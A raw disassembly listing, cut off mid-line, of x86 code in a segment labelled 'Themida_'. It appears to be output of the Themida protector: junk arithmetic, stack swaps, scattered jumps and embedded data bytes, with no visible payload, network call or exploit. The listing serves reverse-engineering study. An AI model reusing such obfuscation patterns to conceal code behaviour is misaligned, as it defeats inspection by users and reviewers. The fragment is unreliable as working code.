mov eax, esp add eax, 4 push 1BEAh mov [esp], ecx mov ecx, 4 jmp loc_545E5B ; --------------------------------------------------------------------------- dw 0C583h dd 692DE9FFh, 0C8BFFFFh, 4C48124h, 81000000h, 0C6313AC1h dd 59CF8901h, 815FFE01h, 2C6h, 24348700h, 0E924248Bh, 0FFFFCEB1h dd 0E23056B2h, 0FF7958E9h, 4C083FFh, 0E9240487h, 0FFFFDD92h dd 5C241487h, 0E9241C8Bh, 0FFFFAB06h, 0C89665Ch, 0B60F6624h dd 9C5166C8h, 0FF6483E9h, 5FE948FFh, 5DFFFF97h, 4C581h dd 0EC810000h, 4, 0E9240C89h, 0FFFF93AAh, 2215B850h, 5D2D0B44h dd 0D12DD221h, 0DD8F7E8h, 2EA0026h, 7E628725h, 23272D2Bh dd 0C301A772h, 0A1B0E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D5DE: ; CODE XREF: Themida_:005443E3j mov ebp, 6E67053Fh jmp loc_54F48A ; --------------------------------------------------------------------------- loc_54D5E8: ; CODE XREF: Themida_:0054A49Cj mov ch, ah mov dh, ch mov ecx, [esp] add esp, 4 pop eax jmp loc_547F68 ; --------------------------------------------------------------------------- loc_54D5FB: ; CODE XREF: Themida_:00549033j add ebp, 0F96B09ABh add esi, ebp pop ebp pop edi push ecx jmp loc_54A4A1 ; --------------------------------------------------------------------------- db 0ADh dd 0B951D831h, 28435E6h, 0F11E181h, 0E9D157C4h, 815F5457h dd 4C7h, 4EF8100h, 57000000h, 42474FFh, 24048F5Fh, 240C895Ch dd 592414F7h, 31F9E181h, 0E95252EAh, 1BE4h, 388068h, 24248900h dd 4BD55h, 6C010000h, 90E90424h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D65F: ; CODE XREF: Themida_:0054D9F4j add esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add esp, 4 idiv ecx push 770Bh jmp loc_5490D5 ; --------------------------------------------------------------------------- db 5Fh dd 241C875Eh, 6824248Bh, 1D3Bh, 51241C89h, 0E9D188h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D693: ; CODE XREF: Themida_:00549CEEj sub eax, ebp jmp loc_548771 ; --------------------------------------------------------------------------- loc_54D69A: ; CODE XREF: Themida_:00548971j pop eax add ebp, 4 jmp loc_54673B ; --------------------------------------------------------------------------- db 51h dd 4EC81h, 91E90000h, 88FFFFC6h, 0E986E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6B6: ; CODE XREF: Themida_:0054C556j add esp, 4 sub bl, 0B7h jmp loc_54D3D7 ; --------------------------------------------------------------------------- loc_54D6C4: ; CODE XREF: Themida_:0054DBE0j pop ebp add esi, ebx pop ebx jmp loc_548957 ; --------------------------------------------------------------------------- loc_54D6CD: ; CODE XREF: Themida_:0054624Fj not ah jmp loc_549B77 ; --------------------------------------------------------------------------- dd 2414895Ch, 31E95A54h, 81FFFFF5h, 0A82607CAh, 0DDE2813Ah dd 4A433474h, 1D26E9h, 0DD8F700h, 1F3E2C80h, 7387C62Dh dd 58C10172h, 4CE9F101h, 66000006h, 0E924048Bh, 0FFFFC431h dd 0C8B665Ch, 7685524h, 8900003Fh, 4832424h, 2C8B0424h dd 4C48324h, 4BE56h, 0F5010000h, 8124348Bh, 4C4h, 0BD555600h dd 3E904FCEh, 6FB034BEh, 5DEE01C1h, 7899ED81h, 0F5012F51h dd 7899C581h, 335E2F51h, 2C31242Ch, 242C3324h, 6624248Bh dd 0E99CC885h, 0FFFF62B4h, 473E958h, 81590000h, 0AA3C85C7h dd 81EF2910h, 0AA3C85EFh, 0B4EF8110h, 8B31F55Bh, 58E9242Ch dd 5BFFFF92h, 66C2885Ah, 8324048Bh, 148602C4h, 0EB4BE924h dd 74FFFFFFh, 8FE90424h, 0E9FFFF9Dh, 0FFFF6270h, 505C68h dd 24248900h, 299E956h, 0C3810000h, 21714DAAh, 930FC381h dd 0D929AFDBh, 81C1015Bh, 320088C1h, 2434FF09h, 8324048Bh dd 0C48104C4h, 4, 0F3E9C821h, 1FFFFA2h, 0C6835BDEh, 48B86802h dd 34890000h, 2474FF24h, 24348B04h, 0FFE389E9h, 0E9D601FFh dd 0FFFFF47Ah ; --------------------------------------------------------------------------- loc_54D80C: ; CODE XREF: Themida_:0054A909j xor edi, eax pop eax add edi, 60CD4AACh xchg edx, edi not edx jmp loc_54680B ; --------------------------------------------------------------------------- dw 0E956h dd 1DE3h, 5605EBC1h, 0FFF8D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D82D: ; CODE XREF: Themida_:00544598j add [esp+8], edi mov edi, [esp] add esp, 4 jmp loc_5472C7 ; --------------------------------------------------------------------------- dd 0AEC3815Ch, 515DC57Ah, 370DBA52h, 0D189641Ch, 0FF68B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D851: ; CODE XREF: Themida_:0054E2D0j or esi, edx pop edx xchg edi, esi dec edi push esi push edi jmp loc_549DB8 ; --------------------------------------------------------------------------- dw 3C33h dd 1E21E924h, 0C4810000h, 4, 0CD3E9h, 0E972B700h, 0FFFF7BCEh dd 9D1C77FFh, 14D35966h, 99E99C24h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D887: ; CODE XREF: Themida_:00546D52j xchg ebx, [esp] pop esp mov [esp], esi push edi jmp loc_54EA0D ; --------------------------------------------------------------------------- dd 0F537E950h, 0D800FFFFh, 0FF81A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D8A1: ; CODE XREF: Themida_:00545AFEj push 3A5C807Ah pop ebp add eax, 5F077B0Bh jmp loc_546193 ; --------------------------------------------------------------------------- loc_54D8B1: ; CODE XREF: Themida_:00545CF7j mov edx, [esp] add esp, 4 jmp loc_54F11D ; --------------------------------------------------------------------------- loc_54D8BF: ; CODE XREF: Themida_:00544135j pop ebp add ebx, ecx pop ecx add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_54EA37 ; --------------------------------------------------------------------------- db 29h dd 0EC8358C3h, 0EA1BE904h, 0C380FFFFh, 0D988595Fh, 4E9C05Bh dd 0E980C1FEh, 8BCB283Bh, 0C0E9240Ch, 0FFFFFFECh, 14F72077h dd 20478F24h, 0FF6DB3E9h, 516658FFh, 0FF8E92E9h, 2DD8F7FFh dd 6F4677D8h, 0BB53E0D1h, 27AB537Bh, 0FFA00DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D925: ; CODE XREF: Themida_:0054FB71j xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_54D2B3 ; --------------------------------------------------------------------------- db 49h dd 63C18141h, 19F7DD8h, 0DAF759CAh, 8931F281h, 0D08961C7h dd 0FFD0A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D94D: ; CODE XREF: Themida_:0054F615j push ebx jmp loc_54B5D1 ; --------------------------------------------------------------------------- db 56h dd 9059CCBEh, 0E9E6D121h, 0FFFFE937h ; --------------------------------------------------------------------------- loc_54D960: ; CODE XREF: Themida_:00545491j sub ebx, 4 xchg ebx, [esp] jmp loc_54BA8C ; --------------------------------------------------------------------------- loc_54D96B: ; CODE XREF: Themida_:00545873j add cl, 1 jmp loc_5494C3 ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 24248B24h, 68C8BF0Fh, 6F21h, 0FFF9F0E9h dd 4C681FFh, 87000000h, 505C2434h, 1B68E089h, 89000077h dd 4BF243Ch, 0E9000000h, 0FFFF6239h ; --------------------------------------------------------------------------- loc_54D9A8: ; CODE XREF: Themida_:00543DD4j pop ebp or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx jmp loc_546D69 ; --------------------------------------------------------------------------- loc_54D9BB: ; CODE XREF: Themida_:0054E1B4j add ebp, 3CC5FFAAh push ecx jmp loc_54A115 ; --------------------------------------------------------------------------- loc_54D9C7: ; CODE XREF: Themida_:0054AFB2j mov [esp], edx push esi pop edx pop esi not esi push edx push esi mov edx, [esp] add esp, 4 pop esi xor edi, edx jmp loc_547B84 ; --------------------------------------------------------------------------- loc_54D9E2: ; CODE XREF: Themida_:00545CE8j sub edi, 7D867DCDh mov edx, edi jmp loc_545CF4 ; --------------------------------------------------------------------------- loc_54D9EF: ; CODE XREF: Themida_:0054945Cj mov edi, 4 jmp loc_54D65F ; --------------------------------------------------------------------------- aFssw db 'fSéW',9,0 align 10h dd 875BD901h, 39E9240Ch db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA0B: ; CODE XREF: Themida_:00545572j push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54A62C ; --------------------------------------------------------------------------- db 81h dd 4EBh, 241C8700h, 240C895Ch, 0FF7D8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA35: ; CODE XREF: Themida_:00545BC2j pop esi add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push 0AA6h mov [esp], edi mov edi, 11800317h sub esi, edi jmp loc_54D1E5 ; --------------------------------------------------------------------------- db 51h dd 0F72391B9h, 2ABE5620h, 0C173CC7Dh, 0DEF703EEh, 0D73DE94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA6E: ; CODE XREF: Themida_:0054A412j jz loc_54A966 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_547425 ; --------------------------------------------------------------------------- db 5 dd 53802A10h, 102DF829h, 5F53802Ah, 0FFA7ADE9h, 0E9C801FFh dd 20Ch, 0AA60E954h, 0C831FFFFh, 2090E9h db 0 ; --------------------------------------------------------------------------- loc_54DAA5: ; CODE XREF: Themida_:0054BE51j sub esi, 2FDA7BB9h sub ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] mov [esp], ax jmp loc_543A20 ; --------------------------------------------------------------------------- db 81h, 0C1h, 5Ch dd 132C8C0h, 0AA45E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DACA: ; CODE XREF: Themida_:0054F4FBj xchg edi, [esp] pop esp pop edx jmp loc_5465D2 ; --------------------------------------------------------------------------- dd 54241C89h, 0C18BE95Bh, 0E95CFFFFh, 0FFFF7EA3h ; --------------------------------------------------------------------------- loc_54DAE4: ; CODE XREF: Themida_:00544CFBj push ebx push esp pop ebx jmp loc_54BF50 ; --------------------------------------------------------------------------- aFzC db 'fZ,C',0 db 0E8h, 4, 43h dd 0E92434FFh, 0FFFFB59Fh ; --------------------------------------------------------------------------- loc_54DAFC: ; CODE XREF: Themida_:0054413Ej neg eax xor ebx, eax xor eax, ebx xor ebx, eax push edx mov edx, 6FC33CC1h xor edx, 0ED047E4h xor edx, 445F73A9h sub ebx, edx pop edx and ebx, 32166160h push 470Ch mov [esp], eax jmp loc_54881A ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704C283h, 815C2414h, 2C5h, 912E900h dd 48B0000h, 3CE95024h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB4F: ; CODE XREF: Themida_:0054A1A9j add eax, 4 add eax, 4 xchg eax, [esp] pop esp shr eax, 18h xor eax, ecx push ebp push esp pop ebp push ebx jmp loc_549E32 ; --------------------------------------------------------------------------- db 0BEh dd 5309464Dh, 0AFF13FBAh, 5EF201CDh, 3F0868h, 24048900h dd 0FF6CACE9h, 5E96E9FFh, 0E950FFFFh, 0FFFFE7FBh, 0FFC68146h dd 81FFFFFFh, 0A03AAFF6h, 0F879E981h, 875AFFFFh, 90E92434h dd 0F7FFFFE2h, 0E69C2DD8h, 76E9912Fh, 0FFFFCBh, 0F1B353E6h dd 0A2F380h, 48B5BDEh, 4C48124h, 88000000h, 0D5E95AF5h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBD3: ; CODE XREF: Themida_:0054C328j mov ebx, 49B815B4h push ebp mov ebp, 72A43D2Bh add ebx, ebp jmp loc_54D6C4 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 96h dd 4EC81h, 1C890000h, 146CBB24h, 0EB8154C2h, 4D4743FCh dd 0FF7DB2E9h, 44E95FFFh, 89FFFF7Ch, 8B542414h, 0C4812414h dd 4, 425BBF57h, 0F7810084h, 5BA3769Ch, 7532EF81h, 0E7C11596h dd 16F78102h, 5206714Dh, 33B33EBAh, 5E8FE910h, 8B66FFFFh dd 9F68240Ch, 89000012h, 0FDE9241Ch, 0F7FFFFF9h, 0C28142DAh dd 3D57660Dh, 505AD701h, 6E14BB53h, 72E9039Dh, 3100000Dh dd 1C33241Ch, 24248B24h, 0FF98CFE9h, 243C89FFh, 0FF6577E9h dd 0DA1BAFFh, 0E281222Ch, 34A6678Eh, 0FFDE47E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC89: ; CODE XREF: Themida_:0054BAE2j inc edx jmp loc_54E8EB ; --------------------------------------------------------------------------- loc_54DC8F: ; CODE XREF: Themida_:0054B4FCj push dword ptr [esp] pop edi add esp, 4 or eax, eax jz loc_54AE8D push ecx jmp loc_549D2A ; --------------------------------------------------------------------------- dd 4C08359h, 5C240487h, 0FFD67AE9h, 0E9FB01FFh, 0FFFFF9C3h dd 0F3E9C888h, 0FFFFFF7Ah, 48B2434h, 6EE95224h, 8BFFFF68h dd 8B662424h, 89502404h, 405E0h, 9DE90000h, 0FFFFFFD9h dd 0C8B2434h, 9CC6E924h, 0F181FFFFh, 5B4E66FEh, 6859C829h dd 4B23h, 0FFBD21E9h, 32CA68FFh, 14890000h, 91B85024h dd 0BA24A14Ah, 0A4D2ED3h, 0A3E9C201h, 87FFFFACh, 535C241Ch dd 74DA6850h, 685862ABh, 7719h, 0E9243489h, 0FFFFD3D3h dd 240C335Eh, 33240C31h, 8B5C240Ch, 2B682404h, 0E9000014h dd 0FFFFEAF9h, 31243C33h, 29E9243Ch, 81FFFF8Bh, 4C26D6E9h dd 865CE96Dh, 0BB53FFFFh, 4, 0FF8A87E9h, 0BBFFh, 0DCE90000h dd 5BFFFFD6h, 4968D801h, 89000032h, 5DE92434h, 81FFFFEEh dd 62408DC6h, 0DAB8504Eh, 0D043D20h, 7F513CCFh, 14474705h dd 0CD9F050Ch, 0EE81FBE3h, 29612189h, 139FE9h, 2474FF00h dd 241C8B04h, 4C481h, 48F0000h, 24248B24h, 4B30F66h, 0FBE99C24h dd 66FFFFDAh, 83F7B652h, 1C8904ECh, 0E911B724h, 0FFFFEA62h dd 81E78957h, 4ECh, 24348900h, 1BDBE957h, 0CF010000h, 2C78159h dd 68000000h, 6E4Dh, 0FF243C89h, 5F042474h, 8B24048Fh dd 4002424h, 11E99C24h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE0F: ; CODE XREF: Themida_:00545D0Fj push esp pop ecx push edi mov edi, 3DCE6D5Eh shr edi, 6 jmp loc_546384 ; --------------------------------------------------------------------------- db 0B9h dd 670B64BBh, 0F759CD21h, 20F581DDh, 0C10C9839h, 0BE5608E5h dd 6DC2CC04h, 0E95EF529h, 16FAh ; --------------------------------------------------------------------------- loc_54DE40: ; CODE XREF: Themida_:0054B9A9j pop edi add ebp, 2 xor ebp, [esp] jmp loc_546925 ; --------------------------------------------------------------------------- loc_54DE4C: ; CODE XREF: Themida_:0054497Aj push ecx push esp jmp loc_54643A ; --------------------------------------------------------------------------- loc_54DE53: ; CODE XREF: Themida_:0054B5F5j mov dword ptr [edx+38h], 0F525D54h push ebx mov ebx, 2604CF8h sub ebx, 156F6F5Ah xor ebx, 0ECF0DDA6h add ebx, 6A836F6Eh add ebx, edx sub ebx, 6A836F6Eh push 397Dh jmp loc_54AEDB ; --------------------------------------------------------------------------- dd 240C8B66h, 34FF5457h, 243C8B24h, 5004C483h, 0B951E089h dd 4, 0FFFBF0E9h, 2434FFFFh, 4C4835Bh, 0FCDCE95Fh, 0C89FFFFh dd 1F65B924h, 0C9815E6Eh, 23BE1CE4h, 2FE2E181h, 0B0E94726h dd 89FFFFB2h, 0EA682434h, 8B58EE5Eh, 0C4812434h, 4, 0A11AC681h dd 91E9A711h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEE3: ; CODE XREF: Themida_:0054C163j mov [esp], ebx mov ebx, 48E86E5Ah push ebx push eax mov eax, 9993AAD4h jmp loc_54CD1A ; --------------------------------------------------------------------------- db 89h dd 0F0B5240Ch, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h dd 242C8704h, 8813E95Ch, 0C8BFFFFh, 83D0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF1E: ; CODE XREF: Themida_:00549F4Bj sub edx, esi jmp loc_548374 ; --------------------------------------------------------------------------- db 58h, 28h, 0C3h dd 666AC380h, 8124048Bh, 2C4h, 0C0B60F00h, 0FF90C2E9h dd 59C800FFh, 0C104C004h, 0C12CD800h, 0FFBC7DE9h, 0B55166FFh dd 78C0E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF56: ; CODE XREF: Themida_:0054F125j push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] mov [esp], edx jmp loc_54C01D ; --------------------------------------------------------------------------- db 51h, 0B1h, 95h dd 0C8BCA00h, 4C48124h, 80000000h, 63E9E3C2h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF83: ; CODE XREF: Themida_:005463F2j neg ch neg ch add ch, 87h xor ah, ch jmp loc_545D76 ; --------------------------------------------------------------------------- loc_54DF91: ; CODE XREF: Themida_:0054E453j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5440AF ; --------------------------------------------------------------------------- dd 59B65253h, 0F65AF788h, 0D126E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFAE: ; CODE XREF: Themida_:0054BC0Dj add esp, 4 push esi mov esi, ecx mov edx, esi pop esi mov ecx, [esp] add esp, 4 or edx, 4C0A72FCh add edx, 0A3548103h jmp loc_549FEB ; --------------------------------------------------------------------------- db 31h, 0D8h, 81h dd 4ECh, 631CE900h, 3C87FFFFh, 24248B24h, 2A2B68h, 241C8900h dd 1021E9h db 0 ; --------------------------------------------------------------------------- loc_54DFF1: ; CODE XREF: Themida_:0054A627j xchg eax, [esp] pop esp mov [esp], ecx push esi mov esi, 3AFC215Eh mov ecx, esi pop esi shl ecx, 2 shl ecx, 1 sub ecx, 7C83EBD1h sub ebx, ecx mov ecx, [esp] jmp loc_54CB41 ; --------------------------------------------------------------------------- loc_54E016: ; CODE XREF: Themida_:0054BF8Aj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54BFF4 ; --------------------------------------------------------------------------- aYsh db 'Yéh',9,0 db 0 ; --------------------------------------------------------------------------- loc_54E02D: ; CODE XREF: Themida_:0054CC81j mov ebp, 1E2D1F8Dh add ebp, 45F003D0h inc ebp jmp loc_545D14 ; --------------------------------------------------------------------------- dw 0C483h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_549D5F ; --------------------------------------------------------------------------- dw 0DBF7h dd 0EB81DBF7h, 409899B7h, 15BDE31h, 9602E9F3h, 487FFFFh dd 89565C24h, 4C681E6h, 81000000h, 4EEh, 24348700h, 243C895Ch dd 1BFh, 0FFF92100h, 3C8B2434h, 4C48324h, 8904EC83h, 0E189240Ch dd 2A64BE56h, 0E6C115F7h, 0DFCE8108h, 0E9695822h, 49Fh dd 56242C8Bh, 2DE9E689h, 29FFFF5Eh, 0C7815BDFh, 7CF6127Bh dd 0E95FF929h, 0FFFFEF9Eh ; --------------------------------------------------------------------------- loc_54E0CC: ; CODE XREF: Themida_:0054BF34j push ecx pop ebx mov ecx, [esp] jmp loc_54413A ; --------------------------------------------------------------------------- aXa db 'X€Ã½',0 db 0D3h dd 5ABDEB80h, 1684E9h, 24048F00h, 0FFF5E7E9h, 1BF57FFh dd 814A0511h, 1520DBEBh, 81FB290Ah, 1520DBC3h, 0C6815F0Ah dd 30927CFDh, 0E950DE29h, 0FFFFE4DAh ; --------------------------------------------------------------------------- loc_54E110: ; CODE XREF: Themida_:00547E18j mov esp, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 118C1D60h add edi, 0A74744Dh inc edi shr edi, 1 push edx jmp loc_54CEEA ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 3155BD24h, 0D4E95C7Dh db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E153: ; CODE XREF: Themida_:00548E85j add esp, 4 and ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push 660Ch mov [esp], ebx mov ebx, esp push ecx jmp loc_546CBD ; --------------------------------------------------------------------------- loc_54E171: ; CODE XREF: Themida_:0054C1C9j shl edx, 5 shr edx, 6 jmp loc_5458A6 ; --------------------------------------------------------------------------- dd 0E959CA89h, 0FFFFD398h, 0E924148Bh, 0FFFFDC6Bh ; --------------------------------------------------------------------------- loc_54E18C: ; CODE XREF: Themida_:00546872j push dword ptr [esp+4] jmp loc_54B65A ; --------------------------------------------------------------------------- db 80h, 0C3h, 84h dd 5066C328h, 8808B652h, 0C8FE5AF0h, 0FFB5FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E1A9: ; CODE XREF: Themida_:0054E446j push 42h jmp loc_54471E ; --------------------------------------------------------------------------- loc_54E1B3: ; CODE XREF: Themida_:0054AD3Dj inc ebp jmp loc_54D9BB ; --------------------------------------------------------------------------- loc_54E1B9: ; CODE XREF: Themida_:0054D084j pop eax add eax, edi mov edi, [esp] add esp, 4 jmp loc_543A20 ; --------------------------------------------------------------------------- db 57h dd 0AC4C23BFh, 47B95103h, 53183222h, 0B92C06BBh, 0E3814B50h dd 2DE92955h, 1BDCE381h, 53E943B1h, 81FFFFE2h, 491313C6h dd 0EC835A0Eh, 24048904h, 814D49B8h, 0E543E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E202: ; CODE XREF: Themida_:00543F84j sub dword ptr [esp], 24793907h push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_544F0B ; --------------------------------------------------------------------------- db 54h dd 153FE9h db 0 ; --------------------------------------------------------------------------- loc_54E221: ; CODE XREF: Themida_:005465DAj mov edx, eax pop eax sub esp, 4 mov [esp], ecx mov ecx, 59FF673Bh jmp loc_54A29C ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 2404815Ch, 4E73380Bh dd 0E6242C81h, 0E97B6D59h, 0FFFFE462h ; --------------------------------------------------------------------------- loc_54E25C: ; CODE XREF: Themida_:0054AC0Ej push edi jmp loc_54D3ED ; --------------------------------------------------------------------------- dw 8F66h dd 57B6E902h, 48FFFFFh, 57AEE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E272: ; CODE XREF: Themida_:00547E84j mov ebx, 6CCC544Eh and ebx, 719B7EC6h xchg edi, ebx inc edi xchg edi, ebx neg ebx shr ebx, 7 jmp loc_54B39A ; --------------------------------------------------------------------------- dd 5B57BF57h, 0DCE93CA6h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E297: ; CODE XREF: Themida_:00544F99j shr eax, 1 add eax, 0E40C44A1h push eax pop ebp push dword ptr [esp] pop eax add esp, 4 and ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_54A601 ; --------------------------------------------------------------------------- db 81h dd 4E4BCAC6h, 0F0315953h, 0FF8503E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E2C5: ; CODE XREF: Themida_:0054A7B1j mov edx, 554A3347h xor edx, 7A904163h jmp loc_54D851 ; --------------------------------------------------------------------------- loc_54E2D5: ; CODE XREF: Themida_:0054A307j or ebp, edx pop edx xor ebp, 0B223D139h sub edx, ebp jmp loc_548EC2 ; --------------------------------------------------------------------------- db 81h, 0F6h, 14h dd 0E926A46Fh, 0FFFF7455h, 89240489h, 4B951E0h, 1000000h dd 240C8BC8h, 4C481h, 0E9510000h, 0FFFF8269h ; --------------------------------------------------------------------------- loc_54E30C: ; CODE XREF: Themida_:0054CD1Fj pop ebx jmp loc_54BBF8 ; --------------------------------------------------------------------------- dw 4468h dd 89000000h, 17B42404h, 0CC95E950h, 0EC83FFFFh, 24348904h dd 42474FFh, 24048F5Eh, 6EC7E95Ch, 0E2C1FFFFh, 9BE8E908h dd 0C181FFFFh, 4, 0FF7B28E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E349: ; CODE XREF: Themida_:0054E5AEj xor ecx, 21E67E66h mov ebx, ecx pop ecx jmp loc_54A124 ; --------------------------------------------------------------------------- db 0B3h dd 66D82038h, 96A6E95Bh, 248BFFFFh, 48B6624h, 0FA6AE924h dd 348BFFFFh, 0A29EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E376: ; CODE XREF: Themida_:0054924Aj pop esp push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 5CF8h mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_54628E ; --------------------------------------------------------------------------- loc_54E39E: ; CODE XREF: Themida_:0054D21Dj push 74A7h mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, 41DA2023h sub eax, 4DA21BF3h sub eax, 25D840E2h add eax, edi add eax, 25D840E2h push esi mov esi, 0A3C1378h jmp loc_54E913 ; --------------------------------------------------------------------------- db 50h dd 0E588D488h, 0B6525A58h, 0FB6FE9C4h, 8953FFFFh, 4C381E3h dd 81000000h, 4C3h, 241C3300h, 0E9241C31h, 0FFFFCA1Bh dd 0BB241C89h, 4, 0FF67C9E9h, 81DDF7FFh, 0AB31EFCDh, 83AEE96Bh dd 0EA00FFFFh, 5976EA80h, 0E996C280h, 0FFFF5E74h, 8758C101h dd 248B240Ch, 8DEB8024h, 0D6E9C328h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E433: ; CODE XREF: Themida_:00547789j pop dx sub bx, ax jmp loc_54A9FE ; --------------------------------------------------------------------------- loc_54E43D: ; CODE XREF: Themida_:00543EE3j xchg ebp, [esp] pop esp shr eax, 0Ah xor eax, ecx jmp loc_54E1A9 ; --------------------------------------------------------------------------- loc_54E44B: ; CODE XREF: Themida_:0054C973j add eax, 4 add eax, 4 jmp loc_54DF91 ; --------------------------------------------------------------------------- dd 2474FF55h, 48F5D04h, 0F7665C24h, 186866E1h, 0B317E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E46E: ; CODE XREF: Themida_:0054A650j sub edx, 46862DEDh inc edx jmp loc_54FA63 ; --------------------------------------------------------------------------- dw 0F281h dd 4F9A6156h, 0EA81D2F7h, 7398405Dh, 129F281h, 0D72977C4h dd 0BA525B5Ah, 735F2A23h, 63A0F281h, 0BB5328B3h, 26A123CDh dd 717E9h, 5FFB0100h, 0BD55C301h, 77E1138Bh, 2404FF55h dd 0BAE9525Dh, 52FFFFF7h, 8904EC83h, 0EC81240Ch, 4, 0E9243489h dd 0FFFFB75Fh, 9215E949h, 5352FFFFh, 0DE88AAB3h, 8BF0305Bh dd 7F682414h, 89000045h, 0E189240Ch, 31A8BF57h, 0EF813DC4h dd 4DB125DBh, 0BC9F781h, 0BAE9F013h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E507: ; CODE XREF: Themida_:00546FABj sub esp, 4 mov [esp], ebp mov ebp, 5CF534F8h or ebp, 621D3CA3h xor ebp, 44762E28h sub ebp, 0EE97F9Eh xor ebp, 3BA59715h sub [edx+38h], ebp pop ebp push 6B27h mov [esp], eax push edx push 481C7996h pop edx neg edx jmp loc_549F45 ; --------------------------------------------------------------------------- dd 5AD4C781h, 6DE964FAh, 81FFFFB3h, 7A66DBF6h, 5EF101FFh dd 0FFA58EE9h, 2157BFFFh, 4CE90DB9h, 8BFFFF6Ch, 0B1E92424h dd 66FFFF54h, 51240C8Bh, 4EC81h, 24890000h, 26685524h dd 0E9000026h, 0FFFFCDF3h, 2047FF59h, 0E9206FD1h, 0FFFFF367h dd 0E904C483h, 0FFFFFE33h ; --------------------------------------------------------------------------- loc_54E59C: ; CODE XREF: Themida_:0054A480j shl esi, 1 sub esi, 85E2372Fh xor eax, esi pop esi push ebx push ecx mov ecx, 23E67E66h jmp loc_54E349 ; --------------------------------------------------------------------------- db 5Ah dd 8060B450h, 0E528C9C4h, 0B6526658h, 66F530C6h, 0E3CBE95Ah dd 0EBC1FFFFh, 7BE95706h, 8BFFFF90h, 0C9092424h, 0FF50840Fh dd 0AE68FFFFh, 89000073h, 0BF572424h, 4, 0EAB85052h, 0E97DD074h dd 0FFFF91BCh ; --------------------------------------------------------------------------- loc_54E5F8: ; CODE XREF: Themida_:00545D7Fj add esp, 4 shl dl, 5 inc dl dec dl jmp loc_54A4C3 ; --------------------------------------------------------------------------- dw 0BD55h dd 27EF0F68h, 0FFD541E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E615: ; CODE XREF: Themida_:00544AC9j xor eax, 55933408h dec eax jmp loc_54F05E ; --------------------------------------------------------------------------- loc_54E620: ; CODE XREF: Themida_:0054E900j add edx, ebp mov ebp, [esp] jmp loc_543B73 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 89243489h, 4C681E6h, 83000000h, 343304C6h, 24343124h dd 0FFE750E9h, 805B66FFh, 0C2FE6CEAh, 0E995EA80h, 0FFFF6B89h dd 4245C01h, 242C8B5Bh, 0FFADDBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E665: ; CODE XREF: Themida_:005450C5j push ecx mov ecx, 720B7F34h or ebx, ecx jmp loc_548469 ; --------------------------------------------------------------------------- dw 0D028h dd 24148B66h, 81E18951h, 